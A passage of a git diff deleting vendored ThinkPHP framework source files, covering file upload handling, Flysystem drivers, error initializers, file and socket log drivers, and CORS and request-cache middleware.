- * @param string|null $name 保存的文件名 - * @return File - */ - public function move(string $directory, string $name = null): File - { - if ($this->isValid()) { - if ($this->test) { - return parent::move($directory, $name); - } - - $target = $this->getTargetFile($directory, $name); - - set_error_handler(function ($type, $msg) use (&$error) { - $error = $msg; - }); - - $moved = move_uploaded_file($this->getPathname(), (string) $target); - restore_error_handler(); - if (!$moved) { - throw new FileException(sprintf('Could not move the file "%s" to "%s" (%s)', $this->getPathname(), $target, strip_tags($error))); - } - - @chmod((string) $target, 0666 & ~umask()); - - return $target; - } - - throw new FileException($this->getErrorMessage()); - } - - /** - * 获取错误信息 - * @access public - * @return string - */ - protected function getErrorMessage(): string - { - switch ($this->error) { - case 1: - case 2: - $message = 'upload File size exceeds the maximum value'; - break; - case 3: - $message = 'only the portion of file is uploaded'; - break; - case 4: - $message = 'no file to uploaded'; - break; - case 6: - $message = 'upload temp dir not found'; - break; - case 7: - $message = 'file write error'; - break; - default: - $message = 'unknown upload error'; - } - - return $message; - } - - /** - * 获取上传文件类型信息 - * @return string - */ - public function getOriginalMime(): string - { - return $this->mimeType; - } - - /** - * 上传文件名 - * @return string - */ - public function getOriginalName(): string - { - return $this->originalName; - } - - /** - * 获取上传文件扩展名 - * @return string - */ - public function getOriginalExtension(): string - { - return pathinfo($this->originalName, PATHINFO_EXTENSION); - } - - /** - * 获取文件扩展名 - * @return string - */ - public function extension(): string - { - return $this->getOriginalExtension(); - } -} diff --git a/vendor/topthink/framework/src/think/filesystem/CacheStore.php b/vendor/topthink/framework/src/think/filesystem/CacheStore.php deleted file mode 100644 index 46659ba..0000000 --- a/vendor/topthink/framework/src/think/filesystem/CacheStore.php +++ /dev/null @@ -1,54 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\filesystem; - -use League\Flysystem\Cached\Storage\AbstractCache; -use Psr\SimpleCache\CacheInterface; - -class CacheStore extends AbstractCache -{ - protected $store; - - protected $key; - - protected $expire; - - public function __construct(CacheInterface $store, $key = 'flysystem', $expire = null) - { - $this->key = $key; - $this->store = $store; - $this->expire = $expire; - } - - /** - * Store the cache. - */ - public function save() - { - $contents = $this->getForStorage(); - - $this->store->set($this->key, $contents, $this->expire); - } - - /** - * Load the cache. - */ - public function load() - { - $contents = $this->store->get($this->key); - - if (!is_null($contents)) { - $this->setFromStorage($contents); - } - } -} diff --git a/vendor/topthink/framework/src/think/filesystem/Driver.php b/vendor/topthink/framework/src/think/filesystem/Driver.php deleted file mode 100644 index 26826ad..0000000 --- a/vendor/topthink/framework/src/think/filesystem/Driver.php +++ /dev/null @@ -1,133 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\filesystem; - -use League\Flysystem\AdapterInterface; -use League\Flysystem\Adapter\AbstractAdapter; -use League\Flysystem\Cached\CachedAdapter; -use League\Flysystem\Cached\Storage\Memory as MemoryStore; -use League\Flysystem\Filesystem; -use think\Cache; -use think\File; - -/** - * Class Driver - * @package think\filesystem - * @mixin Filesystem - */ -abstract class Driver -{ - - /** @var Cache */ - protected $cache; - - /** @var Filesystem */ - protected $filesystem; - - /** - * 配置参数 - * @var array - */ - protected $config = []; - - public function __construct(Cache $cache, array $config) - { - $this->cache = $cache; - $this->config = array_merge($this->config, $config); - - $adapter = $this->createAdapter(); - $this->filesystem = $this->createFilesystem($adapter); - } - - protected function createCacheStore($config) - { - if (true === $config) { - return new MemoryStore; - } - - return new CacheStore( - $this->cache->store($config['store']), - $config['prefix'] ?? 'flysystem', - $config['expire'] ?? null - ); - } - - abstract protected function createAdapter(): AdapterInterface; - - protected function createFilesystem(AdapterInterface $adapter): Filesystem - { - if (!empty($this->config['cache'])) { - $adapter = new CachedAdapter($adapter, $this->createCacheStore($this->config['cache'])); - } - - $config = array_intersect_key($this->config, array_flip(['visibility', 'disable_asserts', 'url'])); - - return new Filesystem($adapter, count($config) > 0 ? $config : null); - } - - /** - * 获取文件完整路径 - * @param string $path - * @return string - */ - public function path(string $path): string - { - $adapter = $this->filesystem->getAdapter(); - - if ($adapter instanceof AbstractAdapter) { - return $adapter->applyPathPrefix($path); - } - - return $path; - } - - /** - * 保存文件 - * @param string $path 路径 - * @param File $file 文件 - * @param null|string|\Closure $rule 文件名规则 - * @param array $options 参数 - * @return bool|string - */ - public function putFile(string $path, File $file, $rule = null, array $options = []) - { - return $this->putFileAs($path, $file, $file->hashName($rule), $options); - } - - /** - * 指定文件名保存文件 - * @param string $path 路径 - * @param File $file 文件 - * @param string $name 文件名 - * @param array $options 参数 - * @return bool|string - */ - public function putFileAs(string $path, File $file, string $name, array $options = []) - { - $stream = fopen($file->getRealPath(), 'r'); - $path = trim($path . '/' . $name, '/'); - - $result = $this->putStream($path, $stream, $options); - - if (is_resource($stream)) { - fclose($stream); - } - - return $result ? $path : false; - } - - public function __call($method, $parameters) - { - return $this->filesystem->$method(...$parameters); - } -} diff --git a/vendor/topthink/framework/src/think/filesystem/driver/Local.php b/vendor/topthink/framework/src/think/filesystem/driver/Local.php deleted file mode 100644 index 5bcc08b..0000000 --- a/vendor/topthink/framework/src/think/filesystem/driver/Local.php +++ /dev/null @@ -1,44 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\filesystem\driver; - -use League\Flysystem\AdapterInterface; -use League\Flysystem\Adapter\Local as LocalAdapter; -use think\filesystem\Driver; - -class Local extends Driver -{ - /** - * 配置参数 - * @var array - */ - protected $config = [ - 'root' => '', - ]; - - protected function createAdapter(): AdapterInterface - { - $permissions = $this->config['permissions'] ?? []; - - $links = ($this->config['links'] ?? null) === 'skip' - ? LocalAdapter::SKIP_LINKS - : LocalAdapter::DISALLOW_LINKS; - - return new LocalAdapter( - $this->config['root'], - LOCK_EX, - $links, - $permissions - ); - } -} diff --git a/vendor/topthink/framework/src/think/initializer/BootService.php b/vendor/topthink/framework/src/think/initializer/BootService.php deleted file mode 100644 index ef9b25e..0000000 --- a/vendor/topthink/framework/src/think/initializer/BootService.php +++ /dev/null @@ -1,26 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\initializer; - -use think\App; - -/** - * 启动系统服务 - */ -class BootService -{ - public function init(App $app) - { - $app->boot(); - } -} diff --git a/vendor/topthink/framework/src/think/initializer/Error.php b/vendor/topthink/framework/src/think/initializer/Error.php deleted file mode 100644 index 27fef64..0000000 --- a/vendor/topthink/framework/src/think/initializer/Error.php +++ /dev/null @@ -1,117 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\initializer; - -use think\App; -use think\console\Output as ConsoleOutput; -use think\exception\ErrorException; -use think\exception\Handle; -use Throwable; - -/** - * 错误和异常处理 - */ -class Error -{ - /** @var App */ - protected $app; - - /** - * 注册异常处理 - * @access public - * @param App $app - * @return void - */ - public function init(App $app) - { - $this->app = $app; - error_reporting(E_ALL); - set_error_handler([$this, 'appError']); - set_exception_handler([$this, 'appException']); - register_shutdown_function([$this, 'appShutdown']); - } - - /** - * Exception Handler - * @access public - * @param \Throwable $e - */ - public function appException(Throwable $e): void - { - $handler = $this->getExceptionHandler(); - - $handler->report($e); - - if ($this->app->runningInConsole()) { - $handler->renderForConsole(new ConsoleOutput, $e); - } else { - $handler->render($this->app->request, $e)->send(); - } - } - - /** - * Error Handler - * @access public - * @param integer $errno 错误编号 - * @param string $errstr 详细错误信息 - * @param string $errfile 出错的文件 - * @param integer $errline 出错行号 - * @throws ErrorException - */ - public function appError(int $errno, string $errstr, string $errfile = '', int $errline = 0): void - { - $exception = new ErrorException($errno, $errstr, $errfile, $errline); - - if (error_reporting() & $errno) { - // 将错误信息托管至 think\exception\ErrorException - throw $exception; - } - } - - /** - * Shutdown Handler - * @access public - */ - public function appShutdown(): void - { - if (!is_null($error = error_get_last()) && $this->isFatal($error['type'])) { - // 将错误信息托管至think\ErrorException - $exception = new ErrorException($error['type'], $error['message'], $error['file'], $error['line']); - - $this->appException($exception); - } - } - - /** - * 确定错误类型是否致命 - * - * @access protected - * @param int $type - * @return bool - */ - protected function isFatal(int $type): bool - { - return in_array($type, [E_ERROR, E_CORE_ERROR, E_COMPILE_ERROR, E_PARSE]); - } - - /** - * Get an instance of the exception handler. - * - * @access protected - * @return Handle - */ - protected function getExceptionHandler() - { - return $this->app->make(Handle::class); - } -} diff --git a/vendor/topthink/framework/src/think/initializer/RegisterService.php b/vendor/topthink/framework/src/think/initializer/RegisterService.php deleted file mode 100644 index c63ab35..0000000 --- a/vendor/topthink/framework/src/think/initializer/RegisterService.php +++ /dev/null @@ -1,48 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\initializer; - -use think\App; -use think\service\ModelService; -use think\service\PaginatorService; -use think\service\ValidateService; - -/** - * 注册系统服务 - */ -class RegisterService -{ - - protected $services = [ - PaginatorService::class, - ValidateService::class, - ModelService::class, - ]; - - public function init(App $app) - { - $file = $app->getRootPath() . 'vendor/services.php'; - - $services = $this->services; - - if (is_file($file)) { - $services = array_merge($services, include $file); - } - - foreach ($services as $service) { - if (class_exists($service)) { - $app->register($service); - } - } - } -} diff --git a/vendor/topthink/framework/src/think/log/Channel.php b/vendor/topthink/framework/src/think/log/Channel.php deleted file mode 100644 index 2660a60..0000000 --- a/vendor/topthink/framework/src/think/log/Channel.php +++ /dev/null @@ -1,282 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\log; - -use Psr\Log\LoggerInterface; -use think\contract\LogHandlerInterface; -use think\Event; -use think\event\LogWrite; - -class Channel implements LoggerInterface -{ - protected $name; - protected $logger; - protected $event; - - protected $lazy = true; - /** - * 日志信息 - * @var array - */ - protected $log = []; - - /** - * 关闭日志 - * @var array - */ - protected $close = false; - - /** - * 允许写入类型 - * @var array - */ - protected $allow = []; - - public function __construct(string $name, LogHandlerInterface $logger, array $allow, bool $lazy = true, Event $event = null) - { - $this->name = $name; - $this->logger = $logger; - $this->allow = $allow; - $this->lazy = $lazy; - $this->event = $event; - } - - /** - * 关闭通道 - */ - public function close() - { - $this->clear(); - $this->close = true; - } - - /** - * 清空日志 - */ - public function clear() - { - $this->log = []; - } - - /** - * 记录日志信息 - * @access public - * @param mixed $msg 日志信息 - * @param string $type 日志级别 - * @param array $context 替换内容 - * @param bool $lazy - * @return $this - */ - public function record($msg, string $type = 'info', array $context = [], bool $lazy = true) - { - if ($this->close || (!empty($this->allow) && !in_array($type, $this->allow))) { - return $this; - } - - if (is_string($msg) && !empty($context)) { - $replace = []; - foreach ($context as $key => $val) { - $replace['{' . $key . '}'] = $val; - } - - $msg = strtr($msg, $replace); - } - - if (!empty($msg) || 0 === $msg) { - $this->log[$type][] = $msg; - } - - if (!$this->lazy || !$lazy) { - $this->save(); - } - - return $this; - } - - /** - * 实时写入日志信息 - * @access public - * @param mixed $msg 调试信息 - * @param string $type 日志级别 - * @param array $context 替换内容 - * @return $this - */ - public function write($msg, string $type = 'info', array $context = []) - { - return $this->record($msg, $type, $context, false); - } - - /** - * 获取日志信息 - * @return array - */ - public function getLog(): array - { - return $this->log; - } - - /** - * 保存日志 - * @return bool - */ - public function save(): bool - { - $log = $this->log; - if ($this->event) { - $event = new LogWrite($this->name, $log); - $this->event->trigger($event); - $log = $event->log; - } - - if ($this->logger->save($log)) { - $this->clear(); - return true; - } - - return false; - } - - /** - * System is unusable. - * - * @param string $message - * @param array $context - * - * @return void - */ - public function emergency($message, array $context = []) - { - $this->log(__FUNCTION__, $message, $context); - } - - /** - * Action must be taken immediately. - * - * Example: Entire website down, database unavailable, etc. This should - * trigger the SMS alerts and wake you up. - * - * @param string $message - * @param array $context - * - * @return void - */ - public function alert($message, array $context = []) - { - $this->log(__FUNCTION__, $message, $context); - } - - /** - * Critical conditions. - * - * Example: Application component unavailable, unexpected exception. - * - * @param string $message - * @param array $context - * - * @return void - */ - public function critical($message, array $context = []) - { - $this->log(__FUNCTION__, $message, $context); - } - - /** - * Runtime errors that do not require immediate action but should typically - * be logged and monitored. - * - * @param string $message - * @param array $context - * - * @return void - */ - public function error($message, array $context = []) - { - $this->log(__FUNCTION__, $message, $context); - } - - /** - * Exceptional occurrences that are not errors. - * - * Example: Use of deprecated APIs, poor use of an API, undesirable things - * that are not necessarily wrong. - * - * @param string $message - * @param array $context - * - * @return void - */ - public function warning($message, array $context = []) - { - $this->log(__FUNCTION__, $message, $context); - } - - /** - * Normal but significant events. - * - * @param string $message - * @param array $context - * - * @return void - */ - public function notice($message, array $context = []) - { - $this->log(__FUNCTION__, $message, $context); - } - - /** - * Interesting events. - * - * Example: User logs in, SQL logs. - * - * @param string $message - * @param array $context - * - * @return void - */ - public function info($message, array $context = []) - { - $this->log(__FUNCTION__, $message, $context); - } - - /** - * Detailed debug information. - * - * @param string $message - * @param array $context - * - * @return void - */ - public function debug($message, array $context = []) - { - $this->log(__FUNCTION__, $message, $context); - } - - /** - * Logs with an arbitrary level. - * - * @param mixed $level - * @param string $message - * @param array $context - * - * @return void - */ - public function log($level, $message, array $context = []) - { - $this->record($message, $level, $context); - } - - public function __call($method, $parameters) - { - $this->log($method, ...$parameters); - } -} diff --git a/vendor/topthink/framework/src/think/log/ChannelSet.php b/vendor/topthink/framework/src/think/log/ChannelSet.php deleted file mode 100644 index e38811c..0000000 --- a/vendor/topthink/framework/src/think/log/ChannelSet.php +++ /dev/null @@ -1,39 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\log; - -use think\Log; - -/** - * Class ChannelSet - * @package think\log - * @mixin Channel - */ -class ChannelSet -{ - protected $log; - protected $channels; - - public function __construct(Log $log, array $channels) - { - $this->log = $log; - $this->channels = $channels; - } - - public function __call($method, $arguments) - { - foreach ($this->channels as $channel) { - $this->log->channel($channel)->{$method}(...$arguments); - } - } -} diff --git a/vendor/topthink/framework/src/think/log/driver/File.php b/vendor/topthink/framework/src/think/log/driver/File.php deleted file mode 100644 index 6f075b9..0000000 --- a/vendor/topthink/framework/src/think/log/driver/File.php +++ /dev/null @@ -1,205 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\log\driver; - -use think\App; -use think\contract\LogHandlerInterface; - -/** - * 本地化调试输出到文件 - */ -class File implements LogHandlerInterface -{ - /** - * 配置参数 - * @var array - */ - protected $config = [ - 'time_format' => 'c', - 'single' => false, - 'file_size' => 2097152, - 'path' => '', - 'apart_level' => [], - 'max_files' => 0, - 'json' => false, - 'json_options' => JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES, - 'format' => '[%s][%s] %s', - ]; - - // 实例化并传入参数 - public function __construct(App $app, $config = []) - { - if (is_array($config)) { - $this->config = array_merge($this->config, $config); - } - - if (empty($this->config['format'])) { - $this->config['format'] = '[%s][%s] %s'; - } - - if (empty($this->config['path'])) { - $this->config['path'] = $app->getRuntimePath() . 'log'; - } - - if (substr($this->config['path'], -1) != DIRECTORY_SEPARATOR) { - $this->config['path'] .= DIRECTORY_SEPARATOR; - } - } - - /** - * 日志写入接口 - * @access public - * @param array $log 日志信息 - * @return bool - */ - public function save(array $log): bool - { - $destination = $this->getMasterLogFile(); - - $path = dirname($destination); - !is_dir($path) && mkdir($path, 0755, true); - - $info = []; - - // 日志信息封装 - $time = \DateTime::createFromFormat('0.u00 U', microtime())->setTimezone(new \DateTimeZone(date_default_timezone_get()))->format($this->config['time_format']); - - foreach ($log as $type => $val) { - $message = []; - foreach ($val as $msg) { - if (!is_string($msg)) { - $msg = var_export($msg, true); - } - - $message[] = $this->config['json'] ? - json_encode(['time' => $time, 'type' => $type, 'msg' => $msg], $this->config['json_options']) : - sprintf($this->config['format'], $time, $type, $msg); - } - - if (true === $this->config['apart_level'] || in_array($type, $this->config['apart_level'])) { - // 独立记录的日志级别 - $filename = $this->getApartLevelFile($path, $type); - $this->write($message, $filename); - continue; - } - - $info[$type] = $message; - } - - if ($info) { - return $this->write($info, $destination); - } - - return true; - } - - /** - * 日志写入 - * @access protected - * @param array $message 日志信息 - * @param string $destination 日志文件 - * @return bool - */ - protected function write(array $message, string $destination): bool - { - // 检测日志文件大小,超过配置大小则备份日志文件重新生成 - $this->checkLogSize($destination); - - $info = []; - - foreach ($message as $type => $msg) { - $info[$type] = is_array($msg) ? implode(PHP_EOL, $msg) : $msg; - } - - $message = implode(PHP_EOL, $info) . PHP_EOL; - - return error_log($message, 3, $destination); - } - - /** - * 获取主日志文件名 - * @access public - * @return string - */ - protected function getMasterLogFile(): string - { - - if ($this->config['max_files']) { - $files = glob($this->config['path'] . '*.log'); - - try { - if (count($files) > $this->config['max_files']) { - unlink($files[0]); - } - } catch (\Exception $e) { - // - } - } - - if ($this->config['single']) { - $name = is_string($this->config['single']) ? $this->config['single'] : 'single'; - $destination = $this->config['path'] . $name . '.log'; - } else { - - if ($this->config['max_files']) { - $filename = date('Ymd') . '.log'; - } else { - $filename = date('Ym') . DIRECTORY_SEPARATOR . date('d') . '.log'; - } - - $destination = $this->config['path'] . $filename; - } - - return $destination; - } - - /** - * 获取独立日志文件名 - * @access public - * @param string $path 日志目录 - * @param string $type 日志类型 - * @return string - */ - protected function getApartLevelFile(string $path, string $type): string - { - - if ($this->config['single']) { - $name = is_string($this->config['single']) ? $this->config['single'] : 'single'; - - $name .= '_' . $type; - } elseif ($this->config['max_files']) { - $name = date('Ymd') . '_' . $type; - } else { - $name = date('d') . '_' . $type; - } - - return $path . DIRECTORY_SEPARATOR . $name . '.log'; - } - - /** - * 检查日志文件大小并自动生成备份文件 - * @access protected - * @param string $destination 日志文件 - * @return void - */ - protected function checkLogSize(string $destination): void - { - if (is_file($destination) && floor($this->config['file_size']) <= filesize($destination)) { - try { - rename($destination, dirname($destination) . DIRECTORY_SEPARATOR . time() . '-' . basename($destination)); - } catch (\Exception $e) { - // - } - } - } -} diff --git a/vendor/topthink/framework/src/think/log/driver/Socket.php b/vendor/topthink/framework/src/think/log/driver/Socket.php deleted file mode 100644 index b78ebfb..0000000 --- a/vendor/topthink/framework/src/think/log/driver/Socket.php +++ /dev/null @@ -1,306 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\log\driver; - -use Psr\Container\NotFoundExceptionInterface; -use think\App; -use think\contract\LogHandlerInterface; - -/** - * github: https://github.com/luofei614/SocketLog - * @author luofei614 - */ -class Socket implements LogHandlerInterface -{ - protected $app; - - protected $config = [ - // socket服务器地址 - 'host' => 'localhost', - // socket服务器端口 - 'port' => 1116, - // 是否显示加载的文件列表 - 'show_included_files' => false, - // 日志强制记录到配置的client_id - 'force_client_ids' => [], - // 限制允许读取日志的client_id - 'allow_client_ids' => [], - // 调试开关 - 'debug' => false, - // 输出到浏览器时默认展开的日志级别 - 'expand_level' => ['debug'], - // 日志头渲染回调 - 'format_head' => null, - ]; - - protected $css = [ - 'sql' => 'color:#009bb4;', - 'sql_warn' => 'color:#009bb4;font-size:14px;', - 'error' => 'color:#f4006b;font-size:14px;', - 'page' => 'color:#40e2ff;background:#171717;', - 'big' => 'font-size:20px;color:red;', - ]; - - protected $allowForceClientIds = []; //配置强制推送且被授权的client_id - - protected $clientArg = []; - - /** - * 架构函数 - * @access public - * @param App $app - * @param array $config 缓存参数 - */ - public function __construct(App $app, array $config = []) - { - $this->app = $app; - - if (!empty($config)) { - $this->config = array_merge($this->config, $config); - } - - if (!isset($config['debug'])) { - $this->config['debug'] = $app->isDebug(); - } - } - - /** - * 调试输出接口 - * @access public - * @param array $log 日志信息 - * @return bool - */ - public function save(array $log = []): bool - { - if (!$this->check()) { - return false; - } - - $trace = []; - - if ($this->config['debug']) { - if ($this->app->exists('request')) { - $currentUri = $this->app->request->url(true); - } else { - $currentUri = 'cmd:' . implode(' ', $_SERVER['argv'] ?? []); - } - - if (!empty($this->config['format_head'])) { - try { - $currentUri = $this->app->invoke($this->config['format_head'], [$currentUri]); - } catch (NotFoundExceptionInterface $notFoundException) { - // Ignore exception - } - } - - // 基本信息 - $trace[] = [ - 'type' => 'group', - 'msg' => $currentUri, - 'css' => $this->css['page'], - ]; - } - - $expandLevel = array_flip($this->config['expand_level']); - - foreach ($log as $type => $val) { - $trace[] = [ - 'type' => isset($expandLevel[$type]) ? 'group' : 'groupCollapsed', - 'msg' => '[ ' . $type . ' ]', - 'css' => $this->css[$type] ?? '', - ]; - - foreach ($val as $msg) { - if (!is_string($msg)) { - $msg = var_export($msg, true); - } - $trace[] = [ - 'type' => 'log', - 'msg' => $msg, - 'css' => '', - ]; - } - - $trace[] = [ - 'type' => 'groupEnd', - 'msg' => '', - 'css' => '', - ]; - } - - if ($this->config['show_included_files']) { - $trace[] = [ - 'type' => 'groupCollapsed', - 'msg' => '[ file ]', - 'css' => '', - ]; - - $trace[] = [ - 'type' => 'log', - 'msg' => implode("\n", get_included_files()), - 'css' => '', - ]; - - $trace[] = [ - 'type' => 'groupEnd', - 'msg' => '', - 'css' => '', - ]; - } - - $trace[] = [ - 'type' => 'groupEnd', - 'msg' => '', - 'css' => '', - ]; - - $tabid = $this->getClientArg('tabid'); - - if (!$clientId = $this->getClientArg('client_id')) { - $clientId = ''; - } - - if (!empty($this->allowForceClientIds)) { - //强制推送到多个client_id - foreach ($this->allowForceClientIds as $forceClientId) { - $clientId = $forceClientId; - $this->sendToClient($tabid, $clientId, $trace, $forceClientId); - } - } else { - $this->sendToClient($tabid, $clientId, $trace, ''); - } - - return true; - } - - /** - * 发送给指定客户端 - * @access protected - * @author Zjmainstay - * @param $tabid - * @param $clientId - * @param $logs - * @param $forceClientId - */ - protected function sendToClient($tabid, $clientId, $logs, $forceClientId) - { - $logs = [ - 'tabid' => $tabid, - 'client_id' => $clientId, - 'logs' => $logs, - 'force_client_id' => $forceClientId, - ]; - - $msg = json_encode($logs, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PARTIAL_OUTPUT_ON_ERROR); - $address = '/' . $clientId; //将client_id作为地址, server端通过地址判断将日志发布给谁 - - $this->send($this->config['host'], $this->config['port'], $msg, $address); - } - - /** - * 检测客户授权 - * @access protected - * @return bool - */ - protected function check() - { - $tabid = $this->getClientArg('tabid'); - - //是否记录日志的检查 - if (!$tabid && !$this->config['force_client_ids']) { - return false; - } - - //用户认证 - $allowClientIds = $this->config['allow_client_ids']; - - if (!empty($allowClientIds)) { - //通过数组交集得出授权强制推送的client_id - $this->allowForceClientIds = array_intersect($allowClientIds, $this->config['force_client_ids']); - if (!$tabid && count($this->allowForceClientIds)) { - return true; - } - - $clientId = $this->getClientArg('client_id'); - if (!in_array($clientId, $allowClientIds)) { - return false; - } - } else { - $this->allowForceClientIds = $this->config['force_client_ids']; - } - - return true; - } - - /** - * 获取客户参数 - * @access protected - * @param string $name - * @return string - */ - protected function getClientArg(string $name) - { - if (!$this->app->exists('request')) { - return ''; - } - - if (empty($this->clientArg)) { - if (empty($socketLog = $this->app->request->header('socketlog'))) { - if (empty($socketLog = $this->app->request->header('User-Agent'))) { - return ''; - } - } - - if (!preg_match('/SocketLog\((.*?)\)/', $socketLog, $match)) { - $this->clientArg = ['tabid' => null, 'client_id' => null]; - return ''; - } - parse_str($match[1] ?? '', $this->clientArg); - } - - if (isset($this->clientArg[$name])) { - return $this->clientArg[$name]; - } - - return ''; - } - - /** - * @access protected - * @param string $host - $host of socket server - * @param int $port - $port of socket server - * @param string $message - 发送的消息 - * @param string $address - 地址 - * @return bool - */ - protected function send($host, $port, $message = '', $address = '/') - { - $url = 'http://' . $host . ':' . $port . $address; - $ch = curl_init(); - - curl_setopt($ch, CURLOPT_URL, $url); - curl_setopt($ch, CURLOPT_POST, true); - curl_setopt($ch, CURLOPT_POSTFIELDS, $message); - curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); - curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 1); - curl_setopt($ch, CURLOPT_TIMEOUT, 10); - - $headers = [ - "Content-Type: application/json;charset=UTF-8", - ]; - - curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); //设置header - - return curl_exec($ch); - } -} diff --git a/vendor/topthink/framework/src/think/middleware/AllowCrossDomain.php b/vendor/topthink/framework/src/think/middleware/AllowCrossDomain.php deleted file mode 100644 index 68c3ace..0000000 --- a/vendor/topthink/framework/src/think/middleware/AllowCrossDomain.php +++ /dev/null @@ -1,63 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\middleware; - -use Closure; -use think\Config; -use think\Request; -use think\Response; - -/** - * 跨域请求支持 - */ -class AllowCrossDomain -{ - protected $cookieDomain; - - protected $header = [ - 'Access-Control-Allow-Credentials' => 'true', - 'Access-Control-Max-Age' => 1800, - 'Access-Control-Allow-Methods' => 'GET, POST, PATCH, PUT, DELETE, OPTIONS', - 'Access-Control-Allow-Headers' => 'Authorization, Content-Type, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, X-CSRF-TOKEN, X-Requested-With', - ]; - - public function __construct(Config $config) - { - $this->cookieDomain = $config->get('cookie.domain', ''); - } - - /** - * 允许跨域请求 - * @access public - * @param Request $request - * @param Closure $next - * @param array $header - * @return Response - */ - public function handle($request, Closure $next, ?array $header = []) - { - $header = !empty($header) ? array_merge($this->header, $header) : $this->header; - - if (!isset($header['Access-Control-Allow-Origin'])) { - $origin = $request->header('origin'); - - if ($origin && ('' == $this->cookieDomain || strpos($origin, $this->cookieDomain))) { - $header['Access-Control-Allow-Origin'] = $origin; - } else { - $header['Access-Control-Allow-Origin'] = '*'; - } - } - - return $next($request)->header($header); - } -} diff --git a/vendor/topthink/framework/src/think/middleware/CheckRequestCache.php b/vendor/topthink/framework/src/think/middleware/CheckRequestCache.php deleted file mode 100644 index 6e22056..0000000 --- a/vendor/topthink/framework/src/think/middleware/CheckRequestCache.php +++ /dev/null @@ -1,183 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\middleware; - -use Closure; -use think\Cache; -use think\Config; -use think\Request; -use think\Response; - -/** - * 请求缓存处理 - */ -class CheckRequestCache -{ - /** - * 缓存对象 - * @var Cache - */ - protected $cache; - - /** - * 配置参数 - * @var array - */ - protected $config = [ - // 请求缓存规则 true为自动规则 - 'request_cache_key' => true, - // 请求缓存有效期 - 'request_cache_expire' => null, - // 全局请求缓存排除规则 - 'request_cache_except' => [], - // 请求缓存的Tag - 'request_cache_tag' => '', - ]; - - public function __construct(Cache $cache, Config $config) - { - $this->cache = $cache; - $this->config = array_merge($this->config, $config->get('route')); - } - - /** - * 设置当前地址的请求缓存 - * @access public - * @param Request $request - * @param Closure $next - * @param mixed $cache - * @return Response - */ - public function handle($request, Closure $next, $cache = null) - { - if ($request->isGet() && false !== $cache) { - if (false === $this->config['request_cache_key']) { - // 关闭当前缓存 - $cache = false; - } - - $cache = $cache ?? $this->getRequestCache($request); - - if ($cache) { - if (is_array($cache)) { - [$key, $expire, $tag] = array_pad($cache, 3, null); - } else { - $key = md5($request->url(true)); - $expire = $cache; - $tag = null; - } - - $key = $this->parseCacheKey($request, $key); - - if (strtotime($request->server('HTTP_IF_MODIFIED_SINCE', '')) + $expire > $request->server('REQUEST_TIME')) { - // 读取缓存 - return Response::create()->code(304); - } elseif (($hit = $this->cache->get($key)) !== null) { - [$content, $header, $when] = $hit; - if (null === $expire || $when + $expire > $request->server('REQUEST_TIME')) { - return Response::create($content)->header($header); - } - } - } - } - - $response = $next($request); - - if (isset($key) && 200 == $response->getCode() && $response->isAllowCache()) { - $header = $response->getHeader(); - $header['Cache-Control'] = 'max-age=' . $expire . ',must-revalidate'; - $header['Last-Modified'] = gmdate('D, d M Y H:i:s') . ' GMT'; - $header['Expires'] = gmdate('D, d M Y H:i:s', time() + $expire) . ' GMT'; - - $this->cache->tag($tag)->set($key, [$response->getContent(), $header, time()], $expire); - } - - return $response; - } - - /** - * 读取当前地址的请求缓存信息 - * @access protected - * @param Request $request - * @return mixed - */ - protected function getRequestCache($request) - { - $key = $this->config['request_cache_key']; - $expire = $this->config['request_cache_expire']; - $except = $this->config['request_cache_except']; - $tag = $this->config['request_cache_tag']; - - foreach ($except as $rule) { - if (0 === stripos($request->url(), $rule)) { - return; - } - } - - return [$key, $expire, $tag]; - } - - /** - * 读取当前地址的请求缓存信息 - * @access protected - * @param Request $request - * @param mixed $key - * @return null|string - */ - protected function parseCacheKey($request, $key) - { - if ($key instanceof \Closure) { - $key = call_user_func($key, $request); - } - - if (false === $key) { - // 关闭当前缓存 - return; - } - - if (true === $key) { - // 自动缓存功能 - $key = '__URL__'; - } elseif (strpos($key, '|')) { - [$key, $fun] = explode('|', $key); - } - - // 特殊规则替换 - if (false !== strpos($key, '__')) { - $key = str_replace(['__CONTROLLER__', '__ACTION__', '__URL__'], [$request->controller(), $request->action(), md5($request->url(true))], $key); - } - - if (false !== strpos($key, ':')) { - $param = $request->param(); - - foreach ($param as $item => $val) { - if (is_string($val) && false !== strpos($key, ':' . $item)) { - $key = str_replace(':' . $item, $val, $key); - } - } - } elseif (strpos($key, ']')) { - if ('[' . $request->ext() . ']' == $key) { - // 缓存某个后缀的请求 - $key = md5($request->url()); - } else { - return; - } - } - - if (isset($fun)) { - $key = $fun($key); - } - - return $key; - } -} diff --git a/vendor/topthink/framework/src/think/middleware/FormTokenCheck.php b/vendor/topthink/framework/src/think/middleware/FormTokenCheck.php deleted file mode 100644 index f507903..0000000 --- a/vendor/topthink/framework/src/think/middleware/FormTokenCheck.php +++ /dev/null @@ -1,45 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\middleware; - -use Closure; -use think\exception\ValidateException; -use think\Request; -use think\Response; - -/** - * 表单令牌支持 - */ -class FormTokenCheck -{ - - /** - * 表单令牌检测 - * @access public - * @param Request $request - * @param Closure $next - * @param string $token 